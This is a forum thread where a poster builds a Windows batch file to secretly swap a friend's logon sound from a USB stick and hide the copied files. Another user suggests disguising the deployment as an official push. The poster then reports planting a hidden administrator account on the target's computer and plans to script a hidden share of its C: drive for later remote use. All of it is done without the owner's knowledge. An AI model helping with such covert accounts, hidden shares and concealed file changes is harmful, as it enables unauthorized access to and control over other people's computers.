batch file questions (for a prank)

ilkhan

[H]F Junkie
Joined
Sep 23, 2002
Messages
13,793
Trying to figure out a way to run one file and copy a couple files to the computer in use, copy a current file to the root c: dir, and then hide the copied files. Heres the current code:
Code:
copy uninstall_stealth.bat c:\
copy out.wav c:\
copy "%windir%\media\windows XP Logon Sound.wav" c:\backup.wav
attrib +h c:\uninstall_stealth.bat
attrib +h c:\backup.wav
copy out.wav "%windir%\media\Windows XP Logon Sound.wav" /y
The problem im running into is that as far as I can tell its not doing the copies.
Some background, the computers are networked (occasionally), and the "install" is going to be done from a USB pendrive. But at the moment I dont know what drive letter the pendrive is going to assigned. I can guess e: or f:, since d is the optical and not sure if it has a built in SD slot, but since I dont know which I cant hard code it.

I thought that without a full path it would go with the source of the command (the batch files directory) but that doesn't seem to be the case since testing on my machine gives the original file.

Is there a system variable that gives the directory in use, like what I would need? Im sure there is I just dont know what it is. So what would it be?
 
I would find a cd with an autorun file and see what it has for those references. Only a suggestion.
 
GLSauron said:
Some background, the computers are networked (occasionally), and the "install" is going to be done from a USB pendrive. But at the moment I dont know what drive letter the pendrive is going to assigned. I can guess e: or f:, since d is the optical and not sure if it has a built in SD slot, but since I dont know which I cant hard code it.

I thought that without a full path it would go with the source of the command (the batch files directory) but that doesn't seem to be the case since testing on my machine gives the original file.

Is there a system variable that gives the directory in use, like what I would need? Im sure there is I just dont know what it is. So what would it be?


Well, I'm not sure how much this helps, but if you have a network share location on your network somewhere then you can map a drive in the batch file. That way, you will know the drive letter you are working with and you can also test it on your machine. but even still, if this is for a prank, I might try and push it with SMS or something to make it look official (I don't know what kinda network your working with, just throwing out suggestions)

Hope it goes over well. :p
 
yeah I can map it and run it that way, but it just seems like more of a pain that way, although its definently easier.
Maybe I will just do it that way. The uninstall routine doesn't change at all, just the installer.
speaking of which, do batch files suppport if-than-else type statements? If so, what kind of things can it compare? value of a file 1/0 maybe? Itd be even funnier to have it do this every other boot...

prank is just switching his startup sound for a moaning orgasm sound clip. Amusing, not dangerous. If you have genmay access, that flip the pictures server sounds funnier than hell too.
 
apparently it didn't like my notebook file. Went and wrote exactly the same code in the dos based edit program and it worked fine. Now to get a moment of unattended access to his computer...also added another couple lines of code. Added and hid an admin user account to his computer when I had a moment before this was complete, and am adding a hidden share of his c: drive to the batch file. :D
Not sure what else Im going to do, but it'll be good. With just the share I can do all sorts of startupy things.
 
Back
Top